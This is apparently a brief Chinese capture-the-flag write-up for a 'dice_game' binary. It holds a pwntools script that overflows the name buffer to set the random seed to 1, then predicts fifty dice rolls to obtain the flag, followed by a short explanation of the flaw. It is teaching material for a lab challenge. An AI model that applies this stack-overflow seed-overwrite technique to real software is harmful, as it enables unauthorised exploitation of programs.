dice_game
又是seed
from pwn import *
from ctypes import *
context.log_level='debug'
libc = cdll.LoadLibrary("libc.so.6")
p = process('./dice_game')
#p = remote("111.198.29.45",56813)
p.recvuntil(" let me know your name: ")
p.send("A" * 0x40 + p64(1))
libc.srand(1)
for i in range(50):
p.recvuntil("Give me the point(1~6): ")
p.send(str(libc.rand()%6 + 1) + "\n")
p.interactive()
p.interactive()
这里是引用主函数逻辑都在main函数中,在输入name的时候存在栈溢出,输入name后,会进入执行游戏的函数,大体猜数字,根据输入的数字和随机数生成的数字比较,猜对50次就给出flag